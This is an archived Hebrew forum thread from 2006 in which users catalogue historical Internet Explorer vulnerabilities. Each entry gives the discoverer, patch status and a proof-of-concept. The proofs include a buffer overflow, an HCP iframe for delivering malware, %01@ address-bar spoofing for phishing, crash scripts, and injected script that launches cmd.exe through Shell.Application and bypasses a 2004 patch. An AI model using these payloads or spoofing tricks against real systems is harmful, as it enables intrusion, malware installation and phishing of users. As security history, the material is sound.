Logo

רד-בורד: ארכיון

ראשי > אבטחת מידע > סקירת באגים ב:Internet Explorer.

23/01/2006 15:52:44 cp77fk4r
לאחר שראיתי שרב החברה שהגיבו באשכול שפתחתי על הנושא הגיבו בחיוב, פתחתי את האשכול הנ"ל.

אנחנו נפתח את "המשחק" עם הדפדפן של מייקרוסופט: Internet Explorer- כל הגירסאות.

מספר דברים שחובה לציין:
-פרטיו של הבאג.
-דרכי ניצול.
-האם הבאג תקף/לא תקף.

מספר דברים שכדאי לציין:
-שמו של מגלה הבאג.
-באיזה גירסאות הוא היה קיים.
-מתי גילו אותו.
-מקורות.
23/01/2006 16:02:56 cp77fk4r
אני אפתח עם הבאג הבא:
הבאג היה קיים בגירסאות 3.02 עד 4.0 והוא היה גורם לקריסת הדפדפן.

הבאג היה קיים בתג "<EMBED>" באפשרות "SRC", כאשר היו מכניסים כתובת של קובץ בעלת מספר רב מאוד (בערך 200) של תווים, הדפדפן היה קורס (גם אם הקובץ לא היה קיים).

הבאג היה מסוג "Stack Overflow" והיה גורם לשגיאת Overrun וסוגר את הדפדפן לאחר מכן, הבאג היה נגרם מפני שכתובת הקובץ הארוכה הייתה מציפה את המחסנית של הפונקציה- מה שהיה גורם לה לקרוס.

כמובן שהEIP היה נדרס, ולכן היה אפשר גם להריץ קוד זדוני על אותו המחשב.

דוגמא לניצול הבאג:
קוד:
<HTML>
<EMBED SRC=file://c|/x.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx>
</HTML>


הבאג התגלה ע"י אדם בשם גרגורי גוניסקי.

את הבאג תיקנו בגירסאות 4.7x אם אני זוכר טוב, ותיקנו אותו פשוט ע"י בדיקת אורך הקלט בSRC.

כמו שציינתי כבר- הבאג כבר תוקן.[ההודעה נערכה על-ידי cp77fk4r ב-23/01/2006 16:16:04]
23/01/2006 16:24:02 cp77fk4r
הבאג הבא הוא דווקא באג די נחמד והרבה מאוד Trojans וSpyware וסתם כל מני Bars מציקים השתמשו בו בזמנו, הבאג היה קיים באפשרות שמייקרוסופט הכניסה במערכת קבצים לעדכן את המפענח תצוגת הDVD במחשב דרך הדפדפן, בעזרת שימוש בקיצור HCP.

מה הבאג? היה היה שבכל פעם שהופיע אחרי הSRC בIframe מסויים שימוש בHCP האשף של המערכת היה קופץ והיה טוען את המידע שהיה נקלט דרך המשתנה "website" בלי בדיקה.

את הבאג היה אפשר לנצל פשוט ע"י הכנסת כתובת של איזה כלי זדוני (כמו טרויאן או איזה תולעת) למשתנה website וככה, בזמן שאנשים תמימים חושבים שהם מורידים ומתקינים עידכוני בקרה לDVD שלהם- הם בעצם מורידים ומריצים תולעת זדונית שמנצלת את הבאג.

הקוד הוא:

קוד:
<HtmL>
<Body>
<iframe
src="HCP://system/DVDUpgrd/dvdupgrd.htm?website=[SOMEURL]"
width="1" height="1">
</iframe>


הבאג התגלה עוד בשנת 2004 אני חושב, ותיקון אליו הופיע עוד בחודש שגילו אותו, אבל משום מה הLiveUpdate של המערכת הפעלה לא כולל את התיקון אליו, בחבילת הSP2 העדכון כן נמצא, ולכן אני משאר שהבאג עדיין יהיה קיים במערכות שמשתמשים בהן בחבילת הSP1.

אני לא זוכר מי גילה את הבאג.

23/01/2006 16:38:31 cp77fk4r
עוד באג נחמד, אפילו נחמד מאוד התגלה בפברואר 2004, ע"י אחד בשם (ואני חושב שהוא אחד מZTD)

ניצול הבאג היה מאפשר לגרום לדפדפן להציג כתובת אינטרנט אחת בזמן שאתר אחר מופיע בעמוד, מה הכוונה? הכוונה היא שאם לחצתם על לינק שהושפע מהבאג הזה, אתם תגיעו לאתר א’- בזמן שאתם בכלל צופים באתר ב’.

למה זה טוב? זה טוב לביצוע פישינג מטורף, כל כך הרבה גולשים נפלו בזה, אנשים זייפו אתרי באנקים עולמיים, אתרי עידכוני אבטחה והרבה דברים בסיגנון.

כתובת אינטרנט כזאת:
קוד:
http://user@domain

אומרת לדפדפן להכנס לאתר Domain תחת המשתמש user (כמובן בתנאי שהיוזר קיים ויש התאמה של הסיסמא), את הבאג מנצלים ע"י הכנסת התו %01 (הוא בלתי נראה לדפדפן) לפני השטרודל שמגיע לפני כתובת האתר.

בצורה כזאת:
קוד:
http://www.microsoft.com%01@www.google.co.il


(בכדי ממש להבצע את הספוף, פשוט עושים קישור שכתוב בו את הכתובת של האתר ובURL שלו שמים את המחרוזת שהצגתי פה).

הבאג היה נגרם מפני שהתו %01 היה גורם להתעלמות מהתו @ מצד הדפדפן.

בדפדפנים שלא תיקנו בהם את הבאג הנ"ל תופיע הכתובת של האתר של מייקרוסופט בזמן שהמידע שיופיע בחלון האתר ילקח מהאתר של גוגל.

הבאג תוקן עוד ב2004 וממש, באותו פברואר תיקנו את הבאג.[ההודעה נערכה על-ידי cp77fk4r ב-23/01/2006 16:39:28]
23/01/2006 16:50:54 cp77fk4r
הבאג הבא התגלה בשנת 2004, ולא מצאתי היזכור ספציפי לתיקונו, אבל אני חושב שבSp2 כבר תיקנו אותו.
(בSp1 הוא עדיין קיים).

הבאג היה נגרם מכך שהיו מציינים לדפדפן יש שימוש בפורט שהוא לא הדיפולט- אך היו מציינים שימוש בפורט לא חוקי.

ניצול הבאג היה גורם לקח שהדפדפן היה קורס.

דוגמא לניצול:
קוד:
<script>
var crash = window.open(’http://[SOMEURL]:X’,’’,’height=100, width=100’);
crash.location.reload();
</script>


שימו לב שאחרי ה"[SOMEURL]" מגיעים נקודותיים ":"- מה שאומר לדפדפן שכאן אמור להגיע מספר פורט שבו הוא אמור להשתמש, ואחרי הנקודותיים מגיע התו "X" (יכול להתחלף בכל תו שלא מציין מספר פורט אמיתי), הפרטים שמגיעים בשורה אחר"כ סתם קשורים לגודל החלון.

הסקריפט הנ"ל פשוט טוען את העמוד שוב ושוב (רפרש) מה שגורם לדפדפן כל פעם לנסות להגשת לפורט הזה- אך מפני שהפורט לא קיים הדפדפן פשוט קורס.

הבאג הנ"ל, גם הוא התגלה ע"י החברה מZTD.
23/01/2006 20:10:57 cp77fk4r
הבאג הבא התגלה ע"י גרגורי גוניסקי בינואר 2001 והוא עדיין קיים במערכות שמריוץ WMP7 (ומעלה) ומהוא מנוצל ע"י דפדפני IE.

ניצול הבאג מאפשר לפורצים להריץ תוכנות הקיימות במחשב (לא תהיה בעיה למשל להריץ tftp ולהוריד איזה טרויאן למחשב ואז בעזרת call להריץ אותו..) והוא נגרם בגלל שהמערכת מאפשרת לאובייקטים שקשורים למחלקה של WMF להריץ קבצים מבלי שהם יבדקו.
מערכת הWMP אומנם לפעל- אבל הקובץ שהיא תריץ לא יהיה סרטון אלה הקובץ שהפורץ יקבע.

קוד לדוגמא:

קוד:
<object id="o1"
classid="clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6">
<PARAM NAME="defaultFrame" value="georgi">
</object>
<SCRIPT>
window.open("file://[LOCALFILE]","georgi");
function f()
{
document.o1.object.launchURL("javascript:alert(document.body.innerText)");
}
setTimeout("f()",1000);
</SCRIPT>

(הקוד נלקח מהאתר Guninski.com ונערך על-ידי).

הבאג תוקן רק בחבילת העידכונים שהגיעה ביחד עםSP2, בדפדנים שמורצים על מערכת שהחבילה אינה מותקנת- הבאג עדיין קיים.
25/01/2006 17:14:54 cp77fk4r
הבאג הבא התגלה בשנת 2002 ומאפשר גם הוא להריץ תוכנות על המחשב של הגולש, לדוגמא:

הבאג הוא בכל הקליינטים שתמכים בWebBrowser control (מגירסא 5.5) והוא מנצל כשל במבנה הcreatePopup של המנוע, המנוע של הcreatePopup פועל בצורה כזאת שהוא שומר חלק מהמידע של הHTML ואחר"כ משלב אותו בעמוד הHTML שהמשתמש יצפה בו (innerHTML).

משתמשים בSpan כדי לכתוב לInnerHTML ויוצרים את האובייקט, ורק לאחר מכן מכניסים בCodebase שלו את כתובת האפלקציה שהפורץ רוצה להריץ.

קוד לדוגמא:

קוד:
<span id="span"></span>
<script language="jscript" defer>
Span.innerHTML=’<object classid="clsid:11111111-1111-1111-1111-111111111111"

codebase="%windir%/system32/calc.exe"></object>’;
</script>


אנחנו מנצלים פה את הData Source (או בקיצור- DSO) של קובץ HTML ורק לאחר מכן "מזריקים" את הcodebase בסקריפט, וככה גורמים לעמוד להריץ את המחשבון של הוינדוס.

לבאגים האלה קוראים DSO Exploits.

אם אני זוכר טוב, הבאג הזה ספציפית תוקן קצת אחרי שIE6 יצא, בערך לקראת סוף השנה, אבל קיימים עוד הרבה באגים מהסוג הזה שעדיין לא תוקנו.

אגב, מגלה הבאג הזה הוא ישראלי שעובד בחרבת GreyMagic Software.
[ההודעה נערכה על-ידי cp77fk4r ב-25/01/2006 17:17:10]
25/01/2006 18:38:10 antivirus
הבאג הבא התגלה ביוני 2003
וגם הוא מאפשר להריץ תוכנות שונות על מחשב הקורבן

הפירצה נתגלתה בתג ה <Object> שכידוע משמש
בין הייתר להרצת ה ActiveX השונים בדפי האינטרנט...
כגון נגני מוזיקה...וידאו..פלאש..וכדומה..

לתג <object> מתלווה המאפיין type שמטרתו למעשה
להגדיר את סוג האובייקט
דוגמאות לערכים שנכנסים במאפיין Type
type=plain/text type=audio/x-mpeg

ההצפה מתבצעת למעשה כאשר במקום ערך נכון ל-type
אנו מכניסים ערך שיציף את המחסנית כגון XXXXXXXXXXXX

דוגמא לקוד שיציף את המחסנית
קוד:<object type="[/x64]AAAAAAAAAAAAAAAA">Cooler Than Centra Spike</object>

ובכן אנו רואים שהכנסו במקום ערך נכון- AAAAAAAA
אם כך לשם מה הזדקקנו להתחלה [/x64]??
הסיבה היא פשוטה
על הערך type אכן מבוצעת בדיקה של אורך הקלט על מנת שלא תתבצע התקפה מעין זו
אבל אם נכתוב / ונוסיף לו X64 הדפדפן יפרש את זה כך _/_
ויחשוב שהערך שהוכנס הוא רק שלושה תווים ויאשר את הקלט
כשלמעשה הכנסו הרבה מעבר ל3 תווים הכנסנו aaaaaaaaa
ולאחר ההצפה נוכל למעשה להכניס כל ערך זדוני שנרצה
ולשכתב פקודות ברגיסטרי...ומשם הכל מובן...

מגלה הבאג הינו
Drew Copley מהנדס במחלקת המחקר
של חברת eEye Digital Security
הבאג תוקן למיטב ידיעתיי כשאר שוחררה חבילת העידכונים sp1

26/01/2006 11:56:13 antivirus
הבאג הבא התגלה באוקטובר 2004
והוא מאפשר לבעלי אתרים לזייף את היעד של קישור מסויים בכתובת הסטטוס.

הסבר קצרצר על החור:
גולשים חכמים וזהירים לפני כל לחיצה על קישור לא ידוע
עוברים מעליו מבלי ללחוץ ובודקים בשורת הסטטוס למטה
לאן הקישור הולך להוביל אותם למשל אני אתן פה קישור...
תעברו מעליו ואל תלחצו ותראו שלמטה בשורת הסטטוס
כתוב לכם שזה יוביל לנענע ולא משנה מה אני אכתוב על הקישור
www.walla.co.il

החור הנחמד הזה מאפשר לזייף את היעד שכתוב בשורת הסטטוס
על ידי הכנסת טבלה גדולה או למי שלא מבין תג ה <table>
בתוך קישור...דהיינו הטבלה היא קישור לאן שהוא אחר
ובתוך הטבלה הזאת להכניס קישור רגיל לאן שהוא
כשהקורבן יעלה מעל הקישור הוא לא יראה את כתובת הייעד
האמיתית של הקישור כי אם את הקישור שהטבלה הכוללת נכנסה בו
דוגמא לקוד
קוד:<a href="http://www.example1.com/"><table><tr><td><a
href="http://www.example2.com/">Click here</td></tr></table></a>

הבאג התגלה על ידי Benjamin Tobias Franz
והיה שמיש עד להפצת חבילת העידכונים sp2
26/01/2006 16:36:36 devil kide
משום שמחקתם לי את ההודעה החזרתי אותה, אבל הפעם ראיתי ת’חוקים.

פרצת אבטחה ב IE 6.
הפרצה הינה מסוג DoS .
הפירצה התגלתה ע"י צוות FIRST לפי מיטב ידעתי, וזכרוני.
הפרצה עדיין הינה תקפה,ולא יצא טלאי אבטחה .
לניצול הפרצה:

קוד:
<acronym><dd><h5><applet></caption></applet></h1>


או שתכתבו את הקוד
קוד: <table datasrc=".">



[ההודעה נערכה על-ידי cp77fk4r ב-26/01/2006 17:40:12]
27/01/2006 02:11:29 cp77fk4r
הקוד הבא מאפשר להריץ פקודות ותוכנות על מחשבו של הקורבן, בעזרת שינוי של העמוד לאחר הבדיקה שהוא עובר בדפדפן, שימו לב לפעולה של הפונקציה Doit, היא "מזריקה" את המשך הקוד לתוך העמוד שנטען וככה מאפשרת להריץ קוד לאחר הבדיקה.

הגיוני שהדפדפן יכתוב שהעמוד שונה לאחר שהוא ירד או שהוא הגיע ממקור לא בטוח, ואז ישאל אם אתם בטוחים שאתם רוצים לאשר את הפעלת הקוד, אבל זה רק אם קבעו מראש שהדפדפן יגיב ככה- לרב הוא יריץ את הקוד מבלי להקפיץ את ההודעה (אלה אם כן הוא במצבים שגבוהים מ"בינונית").

הקוד הבא הוא דוגמא של הבאג הנ"ל שמריץ את הקונסול של הוינדוס:
קוד:
<iframe src="shell:windows\web\tip.htm"
style="width:400px;height:200px;"></iframe>

<textarea id="code" style="display:none;">
injected.
<script language="JScript" DEFER>
var obj=new ActiveXObject("Shell.Application");
obj.ShellExecute("cmd.exe");
</script>
</textarea>

<script language="javascript">

function doit() {
document.frames[0].document.body.insertAdjacentHTML(’afterBegin’,
document.all.code.value);
}
setTimeout("doit()", 2000);
</script>


אפשר לשנות את השורה:
קוד:
obj.ShellExecute("cmd.exe");

שתראה כך:
קוד:
obj.ShellExecute("cmd.exe","command");

בכדי לגרום לו גם להריץ פקודות שקשורות לאותו האפלקציה (במקרה הזה אנחנו נריץ את הפקודה command בקונסול).

הקוד נלקח ממכתב שJelmer שלח לSecurityFocus בקשר לתגובה של Liu Die Yu (מUmbrella) לאחר שתיקנו את הבאג שThe-Insider(אגב, הוא ישראלי אם אני זוכר טוב) מצא במרץ 2004 אני חושב.

בכל אופן, הקוד הבא מאפשר להעקוף את העידכון שחברת מייקרוסופט הוציאה ביולי 2004 לבאג של The-Insider, אבל באחת מחבילות העידכונים שלאחר מכן כבר תיקנו את הבאג.
27/01/2006 02:38:24 cp77fk4r
את באג הבא מצא Cheng Peng Su (מUmbrella) בשנת 2004, וזהו סוג של "Cross Zone Scripting" ("סוג של"..) זה לא בדיוק באג, אפשר אפשר לפתח את זה כהוגן:

קוד:
<iframe src="shell:my music"/>


הקוד יציג פריים עם התוכן של התיקיה של MyMusic.

מאוחר יותר Malware (כן, ההוא מMalware.com) חקר את הנושא, וגילה עוד קיצורי URL לפרוטוקול של הSHELL, הרשימה המלאה:

קוד:
Control Panel
Administrative Tools
Cache
CD Burning
Cookies
Desktop
Favorites
Fonts
History
Application Data
Local Settings
My Music
My Pictures
My Video
NetHood
Personal [my documents]
PrintHood
Programs
Recent
SendTo
Start Menu
Startup
Templates


עמודים: 1